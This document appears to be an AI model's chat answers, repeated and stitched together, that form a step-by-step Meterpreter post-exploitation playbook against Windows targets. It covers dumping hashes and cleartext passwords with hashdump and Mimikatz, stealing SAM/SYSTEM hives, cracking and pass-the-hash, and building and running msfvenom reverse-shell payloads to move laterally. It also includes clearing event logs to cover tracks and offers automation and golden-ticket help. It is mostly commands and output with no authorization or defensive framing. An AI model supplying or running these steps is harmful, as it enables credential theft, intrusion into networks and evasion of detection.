✅ 1. Use the `search` command (Built-in Meterpreter command)

This is the best method to find files by name, extension, size, or location.

🔎 Example: Find files named `password.txt`

```
meterpreter > search -f password.txt
```

🔎 Example: Find all `.docx` files

```
meterpreter > search -f *.docx
```

🔎 Example: Limit to a specific directory

```
meterpreter > search -d C:\\Users\\ -f *.pdf
```

🔄 Common `search` Flags

Flag	Description
`-f`	Filename or wildcard (e.g., `*.txt`)
`-d`	Directory to start in
`-r`	Recursive (default is recursive)
`-t`	File type (e.g., 'pdf')
`-h`	Help

💻 2. Use a Shell with `dir` or `where` (if you're in `shell` mode)

```
meterpreter > shell
```

Example: Use `dir` recursively (slow!)

```
dir C:\ /s /b | findstr password.txt
```

Example: Use `where` to find executables

```
where notepad.exe
```

💡 Tip:

Use `download` after finding the file to grab it:

```
meterpreter > download C:\\Users\\victim\\Documents\\password.txt
```

If you're targeting a **Windows machine** and specifically looking for **hashes** (e.g., **NTLM**, **SAM database**, or saved credentials), here's a focused breakdown of **how to find them** using **Meterpreter**:

🔍 Step-by-Step: How to Find and Extract Hashes on Windows via Meterpreter

✅ 1. Check Your Privileges

You need **SYSTEM** or **Administrator** privileges to access hashes.

meterpreter > getuid

meterpreter > getprivs

meterpreter > getsystem # Try to elevate privileges

🔐 2. Dump Local Password Hashes

🔸 hashdump (Simple and quick)

meterpreter > hashdump

- Dumps local SAM database hashes.
- Example output:
- Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::

🔸 Post module for smart dumping:

use post/windows/gather/smart_hashdump

set SESSION <session_id>

run

💉 3. Use Mimikatz to Dump NTLM/LM Hashes and Cleartext Passwords

Load Kiwi (Mimikatz integration):

meterpreter > load kiwi

Use Mimikatz commands:

meterpreter > creds_all

or

meterpreter > kiwi_cmd sekurlsa::logonpasswords

- This can reveal:
    - NTLM hashes
    - Clear-text passwords (if stored in memory)
    - Kerberos tickets

📁 4. Find Hash-Related Files on Disk (Using search)

You can also look for locations where hashes may be stored by tools or scripts.

Examples:

🔍 Look for files named *.pwd, *.hash, *.logins, etc.

meterpreter > search -f *.pwd

meterpreter > search -f *.hash

meterpreter > search -f *.txt

🔍 Look in common locations:

meterpreter > search -d C:\\Users\\ -f *.txt

🧠 Hash Storage Locations on Windows

Location	Content
C:\Windows\System32\config\SAM	User account password hashes (NTLM/LM)
C:\Windows\System32\config\SYSTEM	Needed to decrypt SAM
C:\Users\<user>\AppData\	Possible credential stores or app secrets
C:\Users\<user>\NTUSER.DAT	May contain cached credentials

You can download SAM and SYSTEM hives and crack them offline:

meterpreter > download C:\\Windows\\System32\\config\\SAM

meterpreter > download C:\\Windows\\System32\\config\\SYSTEM

Then use **secretsdump.py** from **Impacket** on your machine:

secretsdump.py -sam SAM -system SYSTEM LOCAL

Complete guide on how to **find, extract, and use hashes** from a **Windows target** using **Meterpreter**.

🧭 **GOAL: Extract Hashes from a Compromised Windows System**

We'll go through:

1. 📄 Check Access Level
2. 🪪 Dump SAM/NTLM Hashes
3. 🧠 Use Mimikatz (via Kiwi)
4. 🗂️ Search for Saved Hashes or Credentials
5. 📥 Download and Extract Hashes Offline
6. 🪪 Use the Hashes (Pass-the-Hash, Cracking, etc.)

🔹 **1. Check Access Level**

First, confirm you're in a **privileged context**:

meterpreter > getuid # Check current user

meterpreter > getprivs # See available privileges

meterpreter > getsystem # Try privilege escalation to SYSTEM

✅ You need **SYSTEM or Administrator** rights to dump hashes.

🔹 **2. Dump SAM/NTLM Hashes**

✅ **Use built-in hashdump:**

meterpreter > hashdump

📄 Output (LM:NTLM):

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

- LM Hash (legacy, usually empty) | NTLM Hash

🛠️ **Use Smart Hashdump (if hashdump fails):**

use post/windows/gather/smart_hashdump

set SESSION <id>

run

🔹 **3. Use Mimikatz (via Kiwi)**

Mimikatz can grab **NTLM hashes**, **cleartext passwords**, **Kerberos tickets**, and more.

🧠 **Load Kiwi (Mimikatz):**

meterpreter > load kiwi

🪪 **Dump All Credentials:**

meterpreter > creds_all

🔐 **Manual Mimikatz Command:**

meterpreter > kiwi_cmd sekurlsa::logonpasswords

This can give you:

- Username / domain
- NTLM hash
- Cleartext password (if stored in memory)
- Ticket info

🔹 **4. Search for Saved Hashes or Credentials**

Use search to find plaintext or tool-generated hash files.

🔍 **Look for text/hash files:**

meterpreter > search -f *.txt

meterpreter > search -f *.log

meterpreter > search -f *.hash

meterpreter > search -f *.pwd

🔍 **Search sensitive directories:**

meterpreter > search -d C:\\Users\\ -f *.txt

🔹 5. Download and Extract Hashes Offline

If live dump fails, extract **SAM and SYSTEM hives** for offline cracking.

📥 **Download the hives:**

meterpreter > download C:\\Windows\\System32\\config\\SAM

meterpreter > download C:\\Windows\\System32\\config\\SYSTEM

🧰 **Use secretsdump.py from Impacket:**

secretsdump.py -sam SAM -system SYSTEM LOCAL

✅ This works without being on the live system.

🔹 6. Use the Hashes

🪪 **Pass-the-Hash (psexec via hash):**

psexec.py DOMAIN/Administrator@TARGET_IP -hashes :<NTLM_HASH>

🔓 **Crack Hashes (John the Ripper / Hashcat):**

John:

john --format=NT --wordlist=rockyou.txt hashes.txt

Hashcat:

hashcat -m 1000 -a 0 hashes.txt rockyou.txt

🧩 Summary Table

Task	Command
Check privileges	getuid, getprivs, getsystem
Dump NTLM hashes	hashdump / smart_hashdump
Mimikatz dump	load kiwi, creds_all, sekurlsa::logonpasswords
Search for hash files	search -f *.hash / *.txt
Download SAM/SYSTEM hives	download C:\Windows\System32\config\SAM
Crack or reuse hashes	secretsdump.py, john, hashcat, psexec.py

---

🧠 FULL GUIDE: Extracting and Using Hashes from a Windows Target via Meterpreter

---

📌 OBJECTIVE:

- Gain access to **NTLM hashes**, **cleartext credentials**, or **cached logins**
- Dump or extract them using **Meterpreter**
- Use those hashes for **cracking** or **pass-the-hash attacks**

📜 1. CHECK PRIVILEGES

Before you do anything, make sure you have **enough privileges** (you usually need **SYSTEM** or **Administrator** rights).

🔍 Check current user:

```
meterpreter > getuid
```

🛡️ Check available privileges:

```
meterpreter > getprivs
```

🚀 Try to elevate privileges:

```
meterpreter > getsystem
```

🔐 2. DUMP NTLM HASHES (SAM Database)

These are stored locally in the **SAM hive**, and only accessible with SYSTEM-level privileges.

✅ Dump with `hashdump`:

```
meterpreter > hashdump
```

📌 Example output:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7
e0c089c0:::
```

- First = LM hash (usually empty in modern systems)
- Second = NTLM hash (what you want)

🧠 If `hashdump` fails, use Metasploit module:

```
use post/windows/gather/smart_hashdump
set SESSION <session_id>
run
```

🧪 3. DUMP CREDENTIALS WITH MIMIKATZ

Mimikatz (via `kiwi`) allows you to dump **NTLM hashes**, **cleartext passwords**, **Kerberos tickets**, etc.

🔍 Load kiwi (Mimikatz module):

```
meterpreter > load kiwi
```

🔓 Get all credentials:

```
meterpreter > creds_all
```

🔬 Dump logon passwords (NTLM, cleartext, etc.):

```
meterpreter > kiwi_cmd sekurlsa::logonpasswords
```

Example output:

```
Username : Administrator
Domain   : CORP
NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
Password : SuperSecret123!
```

Note: Mimikatz only works if the system is not using Credential Guard or certain protections.

🔍 4. SEARCH FOR HASH FILES OR CREDENTIAL FILES

Sometimes credentials or hashes are saved in plaintext by users or tools.

🔍 Search by extension:

```
meterpreter > search -f *.txt
meterpreter > search -f *.log
meterpreter > search -f *.hash
meterpreter > search -f *.ini
```

🔍 Limit to Users folder:

```
meterpreter > search -d C:\\Users\\ -f *.txt
```

🛠️ Examples of sensitive file names:

- `passwords.txt`
- `creds.txt`
- `hashes.dump`
- `logins.ini`

📤 5. DOWNLOAD SAM AND SYSTEM HIVES FOR OFFLINE DUMPING

If `hashdump` fails, grab the raw files and dump them locally.

🔽 Download SAM & SYSTEM:

```
meterpreter > download C:\\Windows\\System32\\config\\SAM
meterpreter > download C:\\Windows\\System32\\config\\SYSTEM
```

💻 On your machine, use Impacket's `secretsdump.py`:

```
secretsdump.py -sam SAM -system SYSTEM LOCAL
```

This will extract all NTLM hashes from those files.

🔐 6. CRACK OR USE HASHES

You now have NTLM hashes. Here's what you can do with them.

🔥 Crack with John the Ripper:

```
john --format=NT --wordlist=rockyou.txt hashes.txt
```

⚡ Crack with Hashcat:

```
hashcat -m 1000 -a 0 hashes.txt rockyou.txt
```

- `-m 1000` is for NTLM hashes

🎯 7. PASS-THE-HASH (USE HASHES WITHOUT CRACKING)

If you have the **NTLM hash**, you can authenticate without knowing the password.

🧰 Using Impacket's `psexec.py`:

```
psexec.py DOMAIN/Administrator@TARGET_IP -hashes :<NTLM_HASH>
```

- You can also use `wmiexec.py`, `smbexec.py`, or other Impacket tools.

🧩 8. SUMMARY TABLE

Action	Command / Tool
Check privileges	`getuid`, `getprivs`, `getsystem`
Dump NTLM hashes	`hashdump` / `smart_hashdump`
Load Mimikatz	`load kiwi`
Dump credentials via Mimikatz	`creds_all`, `kiwi_cmd sekurlsa::logonpasswords`
Search for saved creds	`search -f *.txt`, `search -d C:\\Users\\`
Download SAM & SYSTEM hives	`download C:\Windows\System32\config\SAM`
Offline hash dump	`secretsdump.py -sam SAM -system SYSTEM LOCAL`
Crack with John	`john --format=NT --wordlist=... hashes.txt`
Crack with Hashcat	`hashcat -m 1000 -a 0 hashes.txt ...`
Pass-the-hash	`psexec.py -hashes :<NTLM>`

✅ TIPS

- Always escalate privileges before dumping hashes.
- Cleartext passwords may appear if someone logged in interactively.
- Mimikatz needs SYSTEM and a GUI session to extract live credentials.
- Use `clearev` to clear logs if you want to cover tracks.

🧠 LATERAL MOVEMENT AFTER GAINING HASHES

🔑 Pre-requisites:

- You have at least one **NTLM hash** or **cleartext password**
- You know the **target IP(s)** or **hostnames** of other systems on the same network
- You have **network access** to those systems (e.g., port 445 is open)

🎯 GOAL:

Move from one compromised system to others — ideally **admin-level lateral movement** — using:

- **Pass-the-Hash**
- **Remote command execution**
- **SMB sessions**
- **WMI or PsExec**

🚀 Step 1: Identify Other Targets

🔍 Post-exploitation discovery:

From your current Meterpreter session:

```
meterpreter > run post/windows/gather/enum_domain_accounts
meterpreter > run post/windows/gather/enum_domain_computers
```

Or use PowerShell commands (if you have shell access):

```
Get-ADComputer -Filter * | Select-Object Name
```

🔍 Step 2: Verify Access to Remote Systems

Ping or port scan the network from Meterpreter or your attacker machine.

Using **Metasploit**:

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445
run
```

Using **nmap**:

```
nmap -p 445,135,139,5985 -T4 192.168.1.0/24 --open
```

🔐 Step 3: Test Admin Access via Hash (Pass-the-Hash)

You now test if your NTLM hash works on other systems.

Using Impacket `psexec.py`:

```
psexec.py CORP/Administrator@192.168.1.50 -hashes :NTLM_HASH
```

If successful, you get a remote shell.

You can also use `wmiexec.py`, `smbexec.py`, `atexec.py` — all support pass-the-hash.

🔁 Step 4: Move Laterally (Execute Remote Code)

Once authenticated, use these options:

🪟 A. WMI Execution:

```
wmiexec.py CORP/Administrator@192.168.1.51 -hashes :NTLM_HASH
```

🧱 B. SMB Exec:

```
smbexec.py CORP/Administrator@192.168.1.51 -hashes :NTLM_HASH
```

💉 C. Upload/Run Payload:

After gaining shell access:

```
upload shell.exe
shell.exe
```

Or use `meterpreter_reverse_tcp` in `msfvenom`, upload, and execute it to get a new session.

🦠 Step 5: Spawn New Meterpreter Session on Remote Host

From within the shell or PsExec/WMI session, you can execute a new payload:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f
exe > shell.exe
```

Upload and run it on the remote system:

```
upload shell.exe
execute -f shell.exe
```

Set up a listener:

```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT 4444
run
```

📚 Optional: Use Metasploit's `pass_the_hash` module

```
use exploit/windows/smb/psexec
set RHOST 192.168.1.51
set SMBUser Administrator
set SMBDomain CORP
set SMBPass <NTLM_HASH>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your_ip>
run
```

Note: The `SMBPass` can be an NTLM hash in `psexec`-style modules.

🔄 Summary Workflow

1. 🔍 Identify other hosts
2. 🖥️ Test NTLM hash or password access on remote systems
3. 🧠 Use pass-the-hash to authenticate
4. 🎯 Gain remote shell or upload Meterpreter
5. 🧬 Pivot to new hosts & repeat

🔐 Bonus: Use Pivoting & Routing to Reach Deeper Networks

After moving laterally, you can:

- Set up a **proxychains/SOCKS tunnel** with `autoroute`
- Use Metasploit to pivot internally

```
meterpreter > run autoroute -s 10.10.0.0/16
```

Then use `proxychains` to scan deeper networks through your Meterpreter session.

Let me know if you want:

- A **script to automate lateral movement**
- Help with **Kerberos-based lateral movement** (golden/silver tickets)
- How to do **pivoting and internal recon** after moving laterally

I'll walk you through it.